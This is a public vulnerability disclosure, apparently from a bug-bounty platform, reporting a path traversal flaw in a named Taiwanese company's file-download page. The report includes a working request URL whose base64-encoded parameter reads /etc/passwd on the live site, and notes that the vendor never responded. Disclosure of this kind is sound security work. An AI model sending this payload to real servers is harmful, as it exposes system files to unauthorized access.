Vulnerability Detail Report
Vulnerability Overview
- ZDID: ZD-2024-00082
- Vendor: 上升空間資訊股份有限公司
- Title: 上升空間資訊股份有限公司存在任意檔案讀取弱點
- Introduction: 未檢查輸入參數導致攻擊者可任意讀取伺服器本機檔案內容
處理狀態
目前狀態
公開
Last Update : 2024/04/22
-
新提交
-
已審核
-
已通報
-
未回報修補狀況
-
未複測
-
公開
處理歷程
- 2024/02/07 00:25:16 : 新提交 (由 Ner1y 更新此狀態)
- 2024/02/07 15:50:01 : 審核完成 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/03/07 15:08:28 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/03/07 15:08:28 : 通報未回應 (由 HITCON ZeroDay 服務團隊 更新此狀態)
- 2024/04/22 03:00:04 : 公開 (由 HITCON ZeroDay 平台自動更新)
詳細資料
- ZDID:ZD-2024-00082
- 通報者:jackx8x7x (Ner1y)
- 風險:高
- 類型:任意檔案下載 (Arbitrary File Download)
參考資料
攻擊者可經由該漏洞取得後端系統中的任意資料(包含主機之敏感檔案)。
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
OWASP Top 10 - 2017 A5 - Broken Access Control
https://www.owasp.org/index.php/Top_10-2017_A5-Broken_Access_Control
OWASP Top 10 - 2013 A4 - Insecure Direct Object References
https://www.owasp.org/index.php/Top_10_2013-A4-Insecure_Direct_Object_References
CWE-284: Improper Access Control
https://cwe.mitre.org/data/definitions/284.html
OWASP - Path Traversal 及防禦方式
https://www.owasp.org/index.php/Path_Traversal
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
https://cwe.mitre.org/data/definitions/22.html
(本欄位資訊由系統根據漏洞類別自動產生,做為漏洞參考資料。)
相關網址
https://www.gmst.com.tw/downloadfile.php?file=Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA%3d%3d
敘述
網站 https://www.gmst.com.tw/ 頁面 /downloadfile.php 未檢查 file 參數 base64 編碼之檔案路徑,攻擊者可提供任意檔案路徑並讀取檔案內容,包括網站 PHP 檔案。
圖:使用 base64 編碼後的路徑 Li4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZA%3d%3d 作為 file 參數值,可成功讀取 /etc/passwd 檔案內容
修補建議
檢查並過濾 file 參數
擷圖
留言討論
登入後留言
聯絡組織
發送私人訊息
您也可以透過私人訊息的方式與組織聯繫,討論有關於這個漏洞的相關資訊。